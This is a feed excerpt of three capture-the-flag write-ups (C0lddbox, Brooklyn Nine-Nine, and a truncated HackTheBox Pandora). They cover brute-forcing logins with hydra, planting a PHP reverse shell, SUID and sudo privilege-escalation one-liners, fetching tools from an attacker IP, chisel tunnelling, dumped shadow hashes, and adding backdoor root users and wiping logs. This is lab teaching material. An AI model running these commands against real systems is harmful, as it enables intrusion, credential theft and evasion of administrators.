http://[IP] -w [WORDLIST] -o [FILENAME FOR OUTPUT] -t [NUMBER OF THREADS]</p><h3>External Enumeration</h3><h3>Preliminary Enumeration via nmap</h3><h4>Table 1.1: nmap Results Summary</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*T8ymHKqXQKbBHAT2u7NkqA.png" /><figcaption>nmap scan summary.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qcg-gtlHnRyxmQHWXZDh3w.png" /><figcaption>nmap scan output.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*79gacMYFJ3EaDJRo1D6LHA.png" /><figcaption>ssh in non-standard port.</figcaption></figure><p>Nmap scan shows that SSH service is running on non-standard port (<em>4512 instead of 22</em>).</p><p>Ubuntu Version: <a href="https://launchpad.net/ubuntu/+source/openssh/1:7.2p2-4ubuntu2.10">Ubuntu Xenial</a></p><h3>Web Enumeration</h3><p>Enumerating the web server only gives us a welcome message coming from the machine creator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VIeF9WHC21UQ4GADTTFIWQ.png" /><figcaption>webpage at port 80.</figcaption></figure><p>Let&#39;s see what the web technologies that the web server use. In this case, I use the browser extension wapplayzer. <a href="https://www.wappalyzer.com/apps/">Link</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*R09Rwfekykh0A7uY_Y7MOw.png" /><figcaption>web technologies used.</figcaption></figure><p>We can see that the web server is running WordPress (<em>v4.1.31</em>) and we can verify this by looking at wp-login.php page which is the login page for Wordpress.</p><h3>Content Discovery</h3><h3>GoBuster Scan</h3><p>Let&#39;s check if gobuster found some directories that we can work with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*Ln4VgUz0Q7KobFyHRouapA.png" /><figcaption>gobuster scan result confirms the web server is using WordPress.</figcaption></figure><p>All of the results verifies that the web server is using WordPress.</p><h3>Exploitation</h3><p>Let&#39;s try to use weak credentials in wp-login.php.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FHvOJ4SV5NDeg52xmkCa_Q.png" /><figcaption>found possible username: C0ldd</figcaption></figure><p>We have a verbose error message indicating C0ldd is a valid username in the machine.</p><h3>Using hydra</h3><p>Since we know that C0ldd is valid username in the WordPress server, we can use hydra to bruteforce our way to the login page. (<em>spoiler: c0ldd&#39;s password is weak</em>)</p><p>Command used: hydra -l C0ldd -P [Path_to_passwords] [IP_address] http-form-post &#39;/wp-login.php:log^USER^&amp;pwd=^PASS^&amp;wp-submit=Log In&amp;testcookie=1:S=Location&#39;</p><p>Command explanation: Used hydra to brute-force the login page using http-form-post module.</p><h3>Web Server Exploitation</h3><p>After looking for some functionalties such as file upload and etc. We found out that we can edit .php files especially on themes used by WordPress page.</p><p>We edited the 404.php page and pasted the PHP reverse shell from <a href="https://github.com/pentestmonkey/php-reverse-shell">PentestMonkey</a>. We can gain a shell login by adding a netcat listener on our attacking machine and navigating through [IP_ADDRESS]/wp-content/themes/twentyfifteen/404.php.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DaO7JGD-6RX2Hx-fxaIqCQ.png" /><figcaption>edited 404.php page in twentyfifteen theme to a php reverse shell.</figcaption></figure><h4>Failed Reverse Shell (needs netcat listener)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IXwadAuoFUoTgg3A_IFfvA.png" /><figcaption>error when netcat listener is not active.</figcaption></figure><h4>Successful Reverse Shell</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*bE3kuZ2CD_0OxjrapaqZWg.png" /><figcaption>succesfull reverse shell connection.</figcaption></figure><h3>Table 1.2: Credentials</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/242/1*V6c3V82iC_ffenRKOePecA.png" /><figcaption>found credentials.</figcaption></figure><h3>Post-Exploitation</h3><h3>Internal Enumeration</h3><h4>Table 1.3: Checklist for Linux Internal Enumeration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*gCngFcDy-W35s8L48bmS7Q.png" /><figcaption>mini checklist for linux privilege escalation.</figcaption></figure><p><em>Notes: For more information about the commands look </em><a href="https://explainshell.com/"><em>here</em></a></p><p><em>Tip: When nothing else makes sense, try to use </em><a href="https://github.com/carlospolop/PEASS-ng"><em>LinPEAS</em></a><em> (</em><a href="https://github.com/carlospolop/PEASS-ng"><em>winPEAS</em></a><em> for windows machines.).</em></p><p>We are now logged in www-data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*bE3kuZ2CD_0OxjrapaqZWg.png" /><figcaption>gained reverse shell on machine.</figcaption></figure><p>We can try to spawn tty shell so we can easily navigate through terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*fYagIt4g0SuDAWjfNhw_vA.png" /><figcaption>spawning TTY shell using python3.</figcaption></figure><p>We can also spawn tty shell using this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*HU6ZhivWlFeoh0CKBsMrNQ.png" /><figcaption>another way of spawning TTY shell.</figcaption></figure><p>Let&#39;s run our mini checklist and let&#39;s look for SUID binaries!</p><p>What a coincidence, we used find to find binaries with SUID bit set and find itself is a SUID binary! We can now escalate our privileges!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*LZCXClKqE_6U61FA4R6CBw.png" /><figcaption>SUID binary: find.</figcaption></figure><h3>Privilege Escalation</h3><p>To escalate our privileges:</p><ol><li>cd /usr/bin</li><li>./find . -exec /bin/sh -p \;</li><li>We are now root!</li></ol><p>Note: Root shell is denoted by # (octothorpe/hashtag/number/pound) sign.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*Ykxm-oSL59YwlbV22pcJZg.png" /><figcaption>rooted.</figcaption></figure><h3>Data Exfiltration</h3><p>We also managed to get the confidential info for the machine and dumped it into a file named <a href="https://github.com/hambyhacks/hambyhacks.github.io/blob/main/Writeups/TryHackMe/C0lddbox/confidential.md">confidential.md</a>(<em>includes user and root flag</em>)</p><h3>STATUS: ROOTED</h3><p>The next two steps are not necessary for completion of the machine but it completes the 5 Phases of Penetration Testing.</p><h3>Persistence</h3><p>Copied the /etc/shadow file for user identification and their passwords.</p><p>Added another root user for easy access.</p><h3>Clearing Tracks</h3><p>Removed all logs and footprints to to prevent risk of exposure of breach to security administrator.</p><h3>Status: Finished</h3><p>Feel free to reach out and if there is something wrong about the above post. Feedbacks are also appreciated! :D</p><h3>Donation Box</h3><p>Not required but appreciated! :D</p><figure><a href="https://buymeacoffee.com/hambyhaxx"><img alt="" src="https://cdn-images-1.medium.com/max/170/0*N1rC3tt48jryQFjT.png" /></a></figure><figure><a href="https://ko-fi.com/hambyhaxx"><img alt="" src="https://cdn-images-1.medium.com/max/226/1*Zp179nUzBMqBk_swIXMtxw.png" /></a></figure><h3>Socials</h3><ul><li><a href="https://twitter.com/hambyhaxx">Twitter</a></li><li><a href="https://hambyhaxx.medium.com/">Medium</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e3bb46742b5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Brooklyn Nine-Nine by Fsociety2006]]></title>
            <link>https://scritty.medium.com/brooklyn-nine-nine-by-fsociety2006-73b47c19231a?source=rss-54d24075c003------2</link>
            <guid isPermaLink="false">https://medium.com/p/73b47c19231a</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[scr1++y]]></dc:creator>
            <pubDate>Mon, 11 Jul 2022 02:02:47 GMT</pubDate>
            <atom:updated>2022-07-11T02:02:47.885Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vR0IB39e38dEUIwx" /><figcaption>Photo by <a href="https://unsplash.com/@ev?utm_source=medium&amp;utm_medium=referral">ev</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><pre>IP = 10.10.6.125*<br>Difficulty: Easy<br>Machine OS: Linux<br>Learning Platform: tryhackme.com</pre><p><em>*Note: IP address may vary.</em></p><h3>Reconnaissance</h3><h3>Scoping and Preparation</h3><p>Connect to Tryhackme OpenVPN Server using:</p><ul><li>sudo openvpn {PATH_TO_OVPN_FILE}</li></ul><p>Run our recon tools such as nmap and gobuster.</p><p>I ran nmap twice to get the specific ports that are open so I can do OS and Version enumeration faster since I got the open ports needed.</p><p>1st Nmap command used: sudo nmap -T4 -p- -oN [FILENAME] [IP]</p><p>2nd Nmap command used: sudo nmap -A -T4 -p21,22,80 -oN [FILENAME] [IP]</p><p>Gobuster command used: gobuster dir -u http://[IP] -w [WORDLIST] -o [FILENAME FOR OUTPUT] -t [NUMBER OF THREADS]</p><h3>External Enumeration</h3><h3>Preliminary Enumeration via nmap</h3><h4>Table 1.1: nmap Results Summary</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*rc-oumIuwhYLIACY7S9s-g.png" /><figcaption>Nmap results summary.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aV6ba9Pm3lHJ13moJrxVcQ.png" /><figcaption>Nmap result.</figcaption></figure><p>Nmap scan shows that anonymous FTP login is allowed.</p><p>Ubuntu Version: <a href="https://launchpad.net/ubuntu/+source/openssh/1:7.6p1-4ubuntu0.3">Bionic Beaver</a></p><h3>Web Enumeration</h3><p>Enumerating the web server only gives us a static webpage as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WRhR31s3dTVdG9c39pfLWQ.png" /><figcaption>Webpage at port 80.</figcaption></figure><p>Let’s check the HTML source code if there are any developer comments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E071WbVru_Mo68vCDI8G6g.png" /><figcaption>Webpage HTML source code.</figcaption></figure><p>The comment suggests that the developer used steganography on image. (<em>I checked the image using </em><em>steghide and the image has embedded data which is password protected and I did not bother try cracking the password. Feel free to try cracking the password for the image.</em>)</p><p>Let’s see what the web technologies that the web server use. In this case, I use the browser extension wapplayzer. <a href="https://www.wappalyzer.com/apps/">Link</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*e5Fmnhs1sg1HOhAsad4CQQ.png" /></figure><h3>FTP Enumeration</h3><p>Going through the FTP server, we found a file named note_to_jake.txt.</p><p>To login in FTP:</p><p>Command: ftp [IP]</p><p>Since anonymous login is allowed, we should set the login name to anonymous and leave the password as blank by pressing enter key on your keyboard. (<em>see image below</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*VbZ4dlj3maG1_cL2Gf1i4g.png" /><figcaption>File inside FTP service.</figcaption></figure><p>To download the file in FTP:</p><p>Command: get [FILENAME]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*B-XFi5ecDn-7DHrBzSw4Hw.png" /><figcaption>Using get command to download in FTP.</figcaption></figure><p>Now, let’s see the content of the text file: note_to_jake.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*pP_xz55o_lLSjG-aHJMG6g.png" /><figcaption>note_to_jake.txt content.</figcaption></figure><p>Reading the content of the text file suggests that Jake has weak password.</p><h3>Content Discovery</h3><h3>GoBuster Scan</h3><p>Let’s check if gobuster found some directories that we can work with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*_c4q479KBUmwgssv-kLY9w.png" /><figcaption>GoBuster result scan.</figcaption></figure><p>All of the results shown are HTTP 403: Forbidden error and we can safely assume that the webserver is not useful for us.</p><h3>Exploitation</h3><p>We have an idea that Jake has weak password but there is no login page on webpage but we know that there is a SSH port open. We can try to bruteforce/guess the password of Jake using hydra.</p><h3>Using hydra</h3><p>Steps:</p><ol><li>We have username: jake and we need to bruteforce his password using hydra.</li></ol><ul><li>Command: hydra -l jake -P [WORDLIST] ssh://[IP] -t [NUMBER OF THREADS]</li></ul><p>2. Wait for hydra to finish.</p><p>Results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lPZ2GTMT2ZyGK_FIsA53lg.png" /><figcaption>Using hydra to crack Jake’s SSH password.</figcaption></figure><h3>Table 1.2: Credentials</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/206/1*eAmidfIbzZGEJgwt8JpoaA.png" /><figcaption>Credentials found</figcaption></figure><h3>Post-Exploitation</h3><h3>Internal Enumeration</h3><h4>Table 1.3: Checklist for Linux Internal Enumeration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*QUkCTvym8zSYZlADAK_9vg.png" /><figcaption>Mini checklist for Linux Privilege Escalation.</figcaption></figure><p><em>Notes: For more information about the commands look </em><a href="https://explainshell.com/"><em>here</em></a></p><p><em>Tip: When nothing else makes sense, try to use </em><a href="https://github.com/carlospolop/PEASS-ng"><em>LinPEAS</em></a><em> (</em><a href="https://github.com/carlospolop/PEASS-ng"><em>winPEAS</em></a><em> for windows machines.).</em></p><p>We are now logged in as Jake!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*gBpy-fJEMvnetLr9TxQeng.png" /><figcaption>Successfully logged in as Jake.</figcaption></figure><p>Let’s navigate through the /home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*2VeGEBPr1Um_8SeB3A-DyQ.png" /><figcaption>Holt’s directory has readable user.txt file.</figcaption></figure><p>Looking at the permissions on user.txt file on holt&#39;s home directory, we can just read the contents of the flag!</p><p>Let’s run the commands on our mini checklist above starting with sudo -l command and try to find privilege escalation vectors to get us to root the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*dK7DB6R6ias6irX6oXIALA.png" /><figcaption>Less binary has can be ran as root with no password.</figcaption></figure><h3>Privilege Escalation</h3><p>This privesc is very easy and we can just run:</p><ul><li>sudo /usr/bin/less [FILENAME]</li></ul><p>Inside the file’s output, type:</p><ul><li>!bash</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/324/1*HYl03Q5MRdTkZ5M5uayNBA.png" /></figure><ul><li>then press enter to get root shell.</li></ul><p>Note: Root shell is denoted by # (octothorpe/hashtag/number/pound) sign.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*pd8Smh5B4P1TZgZKAWllNw.png" /><figcaption>Rooted!</figcaption></figure><h3>Data Exfiltration</h3><p>We also exfiltrated the files user.txt, root.txt and the contents /etc/shadow file.</p><h4>Flags</h4><p>User.txt: ee11cbb19052e40b07aac0ca060c23ee</p><p>Root.txt: 9f0ea7bb98050796b649e85481845</p><h4>/etc/shadow Contents (only with encrypted passwords/and root user)</h4><pre>root:*:18295:0:99999:7:::<br>amy:$6$UKs4AX7L$8Q1ET3/4EDtczkEAde4Bkc9g4ao2v3IRbapkqtNnWaKa7a2UHbYGsAEqBPlAwXVq8LK39IRjPwmocYkkkikrR0:18399:0:99999:7:::<br>holt:$6$arvDAeLb$qQX5UfC/TdI2GELzcrI88B7aD.3NGI9eGyhIQPNdtFIcTfzNdSrxt212lOdNM./UQ0dInL0ej4UliuHKKQcjk0:18399:0:99999:7:::<br>jake:$6$sAa2xMd5$/EyF9jL6BNeNEYixHkn86Gcvg8UeVJl7FvjXcJH1InhrwObBcN7qecniXkq.Bq1nFA8YS8HD2uk/jf8Ju7KnW0:18401:0:99999:7:::</pre><h3>STATUS: ROOTED</h3><p>The next two steps are not necessary for completion of the machine but it completes the 5 Phases of Penetration Testing.</p><h3>Persistence</h3><p>Copied the /etc/shadow file for user identification and their passwords.</p><p>Added another root user for easy access.</p><h3>Clearing Tracks</h3><p>Removed all logs and footprints to to prevent risk of exposure of breach to security administrator.</p><h3>Status: Finished</h3><p>Feel free to reach out and if there is something wrong about the above post. Feedbacks are also appreciated! :D</p><h3>Donation Box</h3><p>Not required but appreciated! :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/1*Zp179nUzBMqBk_swIXMtxw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/170/0*EKCaMVqSY8gW60OY.png" /></figure><h3>Socials</h3><ul><li><a href="https://twitter.com/hambyhaxx">Twitter</a></li><li><a href="https://github.com/hambyhacks">Github</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=73b47c19231a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox: Pandora Write-up]]></title>
            <link>https://scritty.medium.com/hackthebox-pandora-write-up-6e7a533e8bcf?source=rss-54d24075c003------2</link>
            <guid isPermaLink="false">https://medium.com/p/6e7a533e8bcf</guid>
            <category><![CDATA[cyber]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[scr1++y]]></dc:creator>
            <pubDate>Sun, 22 May 2022 05:27:37 GMT</pubDate>
            <atom:updated>2022-07-30T23:04:42.287Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1B9kPleqGfLfIi60" /><figcaption>Photo by <a href="https://unsplash.com/@tvakhiltv?utm_source=medium&amp;utm_medium=referral">Akhil TV</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><pre>IP = 10.10.11.136* <br>Difficulty: Easy <br>Machine OS: Linux <br>Learning Platform: hackthebox.com <br>Finished on: Arch Linux</pre><h3>Brief Description</h3><p>This machine showcases the SNMP(Simple Network Management Protocol) enumeration that can be found by using nmap and scanning using -sU switch to scan UDP ports. A tool named SNMPwalk can be used to extract information from SNMP server which gives us our first user to login at SSH server running on the machine. Logging in, we found out that there is a running service locally which is <a href="https://pandorafms.com/en/">Pandora FMS</a>. Searching through google, we found multiple vulnerabilities on Pandora FMS one of which is an unauthenticated SQL injection that will lead to login bypass. We found upload functionality on Pandora FMS and got a foothold of the machine. Enumerating the machine further more, we found that the PATH is misconfigured and can be used to escalate our privileges.</p><h3>Reconnaissance</h3><h3>Scoping and Preparation</h3><p>Connect to HackTheBox OpenVPN Server using:</p><ul><li>sudo openvpn {PATH_TO_OVPN_FILE}</li></ul><p>I used my tool <a href="https://www.github.com/hambyhacks/CTFRecon-Go">CTFRecon-Go</a> to automate directory creation, port scanning, web directory brute-forcing and adding entry to /etc/hosts file.</p><pre>1. git clone https://github.com/hambyhacks/CTFRecon-Go &amp;&amp; cd CTFRecon-Go <br>2. go build . <br>3. sudo ./CTFRecon-Go -d [DIRECTORY_NAME] -p [PLATFORM] -i [IP] -w [WORDLIST_TO_USE_FOR_GOBUSTER]</pre><p>To use CTFRecon-Go if installed using go install:</p><ul><li>sudo CTFRecon-Go -d [DIRECTORY_NAME] -p [PLATFORM] -i [IP] -w [WORDLIST_TO_USE_FOR_GOBUSTER]</li></ul><p><em>Side Note: CTFRecon-Go is not working for the moment and I am trying to fix it. You can still use your recon scripts (if you have one) or the standard way which you do your CTF machines like this.</em></p><h3>External Enumeration</h3><h3>Preliminary Enumeration via nmap</h3><h4>Table 1.1: nmap Results Summary (TCP)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*Rjpz1VLhuOh-E00lhg-7ZQ.png" /><figcaption>TCP nmap scan result.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*811L1Lf0Va7m6UiO.png" /><figcaption>TCP scan.</figcaption></figure><h4>Table 1.2: nmap Results Summary (UDP)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*QDPTeWSAL-0rvwMtVD4BxA.png" /><figcaption>UDP nmap scan result.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vLri6vyATC6FJdNb.png" /><figcaption>UDP scan.</figcaption></figure><p>We found out that there is an SNMP service running on the machine by running nmap and scanning UDP ports.</p><p>To scan UDP ports in nmap:</p><ul><li>sudo nmap -T4 -sU [IP]</li></ul><p><em>Explanation: runs UDP nmap scan.</em></p><p>Running UDP scan will take a long time so I did not include -p- switch.</p><p>Let&#39;s now look at the webpage running at port 80.</p><h3>Web Enumeration</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*K-H3Vn6_muEEoy6_.png" /><figcaption>Webpage at port 80.</figcaption></figure><p>Looking around the webpage, there is not much we can do. We can also look at the web technologies running on the web server by using the Firefox plugin, <a href="https://www.wappalyzer.com/">Wappalyzer</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*Uy45Q58iDJnaeB6G.png" /><figcaption>Technologies used by webpage.</figcaption></figure><p>There is also not much of new information we found using wappalyzer. Let&#39;s try to look at the source code of the webpage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sn2iNjDGjpNudnVe.png" /><figcaption>Assets directory of the webpage.</figcaption></figure><p>We found the /assets directory. We can look further by looking at the /js directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vUiFarFGOA0j_Ozb.png" /><figcaption>.js files found in /assets/js.</figcaption></figure><p>Only 1 file is of our interest which is the main.js file. Let&#39;s look on its contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WxFJGk__1v_4zr7g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4pZwAwvrdm0lQVOh.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uENJYRI_BU2ukMQy.png" /></figure><p>I can&#39;t read much of javascript files so I think this is not helpful for me and moved on to find more information.</p><p>Let&#39;s look back at the SNMP service running on the machine and see if we can find some useful information.</p><h3>Content Discovery</h3><p>After I found out that the machine is running SNMP service, I immediately recalled the walkthrough video of <a href="https://www.youtube.com/watch?v=IF5uhe1qR2I">Pit</a> by <a href="https://www.youtube.com/c/ippsec">Ippsec</a> which features the tool SNMPwalk. Using this tool, we can extract more information about SNMP.</p><p>First piece of information we need to run SNMPwalk is the <strong>community string</strong>, which is essential to query SNMP.</p><p>One of my favorite resource when comes to practicing HTB and THM is <a href="https://books.hacktricks.xyz/">https://books.hacktricks.xyz</a>. I found here that we can brute-force the <strong>community string</strong> using hydra!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cnjAVP8KZoCxDUqD.png" /><figcaption>bruteforcing community string using hydra.</figcaption></figure><p>To find the brute-force the <strong>community string</strong>:</p><ul><li>hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt [IP] snmp</li></ul><p><em>Explanation: brute-forces the snmp service to find the community string.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ff8XxValQvFzwUiK.png" /><figcaption>Community string found by hydra (also nmap scan result shows this community string).</figcaption></figure><p>Nice! We can now use SNMPwalk to query the SNMP server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uZoTyrDwUQllgQ0M.png" /><figcaption>SNMPwalk output.</figcaption></figure><p>To use SNMPwalk:</p><ul><li>snmpwalk -v 1 -c [community_string] [IP]</li></ul><p><em>Explanation: runs snmpwalk specifying the version to 1 with given community string and IP.</em></p><p>We run SNMPwalk with -v 1 switch because if we look back again in the UDP nmap scan, the SNMP server is running v1.</p><p>We can redirect the output of SNMPwalk to a file so we can see the output in a convinient way.</p><p>To redirect stdout to a file:</p><ul><li>snmpwalk -v 1 -c [community_string] [IP] &gt; [output_file]</li></ul><p>Let&#39;s open the file in your preferred text editor ( <em>in this case I used leafpad</em>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8bTEums4aD-IsYci.png" /></figure><p>Sweet! We found credentials on SNMPwalk output! Knowing that the SSH port is open, we can try these credentials are vaild.</p><h3>Exploitation</h3><p>Using the credentials we found on the SNMPwalk output, we are now logged in the machine as daniel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*idos2EnYM0V3wOeB.png" /><figcaption>SSH login as daniel.</figcaption></figure><p>Enumerating on the machine, We found out that daniel is a low-privileged user on the machine and also found out that there is another user in the machine named matt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/0*_c4w3mFy4_jh0ZHe.png" /><figcaption>users with shell login.</figcaption></figure><p>I also looked at the directory /var/www/ and found out that there is a directory named /pandora. Let&#39;s look inside this directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UGevEbjFBXT1rN4E.png" /><figcaption>/pandora/pandora_console in /var/www.</figcaption></figure><p>There is a directory named /pandora_console. Let&#39;s look further more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Hq4DLcz50VECvFRG.png" /><figcaption>Contents of /pandora_console.</figcaption></figure><p>I tried to search in Google about pandora console but it gives <a href="https://www.google.com/search?client=firefox-b-d&amp;q=pandora+console">this</a> search result.</p><p>Let&#39;s look for the content of the files so we can understand more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MbFyA9FnnRcgPtnr.png" /><figcaption>Pandora FMS.</figcaption></figure><p>We can now search for Pandora FMS through Google if it is the same as the search result we found earlier.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*si6zVXG4K4zJy8GQ.png" /><figcaption>Pandora FMS google search.</figcaption></figure><p>That search result seems more compelling to me. Looking at the text from the search result, Pandora FMS is a software for monitoring computer networks.</p><p>In /var/www directory, we have seen that there is a directory named /pandora_console. Let&#39;s try if we can navigate to that directory in the webserver.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zeU_QmG5uRAJVuHG.png" /><figcaption>/pandora_console only accessible locally.</figcaption></figure><p>Seems like the /pandora_console is only accessible locally.</p><p>Let&#39;s upload a tool named chisel to create a port forward and access the local service on our attacking machine.</p><p>To upload in a remote machine:</p><p><em>Attacking machine:</em></p><ul><li>Navigate to the directory where chisel resides.</li><li>Set up python http server.</li><li>python3 -m http.server [port_of_your_choice]</li></ul><p><em>Victim&#39;s machine:</em></p><ul><li>wget http://[Attacker_IP]:[listening_port]/chisel; chmod +x chisel</li></ul><p><em>Explanation: Attacker sets up python3 http server and downloaded the </em><em>chisel binary and made it executable.</em></p><p>To create a remote port forward using chisel:</p><p><em>Attacking Machine:</em></p><ul><li>sudo chisel -p [port] -reverse</li></ul><p><em>Victim&#39;s Machine:</em></p><ul><li>./chisel client [attacker&#39;s_ip]:[attacker&#39;s_listening_port] R:[victim&#39;s_local_port]:127.0.0.1:[victim&#39;s_target_port]</li></ul><p><em>Explanation: Attacker opens up a listening port to create a reverse proxy and the compromised machine connects back to the attacker&#39;s listening port.</em></p><p>In this setup, we should be able to access the /pandora_console on our attacking machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SS8EHw2qyhaMH-zM.png" /><figcaption>Successfully accessed the service using chisel proxy.</figcaption></figure><p>It seems we have a login page on /pandora_console. I tried to use basic credentials and SQL injection but to no avail. On the bottom of the login page, we can see which version Pandora FMS is running ( <em>in this case v7.0NG.742_FIX_PERL2020</em>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fcZn2eZovUmJ7wB3.png" /><figcaption>Pandora FMS version found at the bottom of login page.</figcaption></figure><p>Let&#39;s look it up on Google to see if this version of Pandora FMS has a known CVEs. To my surprise, Pandora FMS has 4 code vulnerabilities. This <a href="https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained">blog</a> focuses on the explanation of Unauthenticated SQL injection on chart_generator.php which can lead to user impersonation including administrator account using its user ID. You can read more of the explanation about the CVE in the said blog.</p><p>Now we have the knowledge about the CVE, we can try to verify the information we got from reading the blog.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Unrkv8Y6aaPFW43I.png" /><figcaption>SQLi vulnerability.</figcaption></figure><p>Nice! We have verified the information and all we need is to construct a SQL query to bypass the login and have access to the dashboard.</p><p>I searched through Google for a working PoC (Proof-of-Concept) and I found <a href="https://github.com/l3eol3eo/CVE-2021-32099_SQLi">this</a> github repository. I copied the SQL query and pasted it in the URL search bar, refreshed the page and we bypassed the authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*H0VS47SjM0AGmcZb.png" /><figcaption>SQLi PoC (spoilers)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lJ7sLpzYS1NdvRAC.png" /><figcaption>PoC code.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*i9fJ-Ku4hzy36fi7.png" /><figcaption>Bypassed login using the PoC.</figcaption></figure><p>Got stucked here for a little while but I found file upload functionality on the Pandora FMS dashboard in /pandora_console/index.php?sec=gextensions&amp;sec2=godmode/setup/file_manager. We can try to upload a simple .php file to verify if we can execute the .php file we uploaded. I got tired and uploaded a full reverse shell on the webpage. Also looking on the /file_manager, we can see that the files are on /images directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dgAeP91V6cEBv5r6.png" /><figcaption>File upload functionality in pandora_console.</figcaption></figure><p>Notice that Index of images, let&#39;s try to navigate to that directory.</p><figure><img alt="" 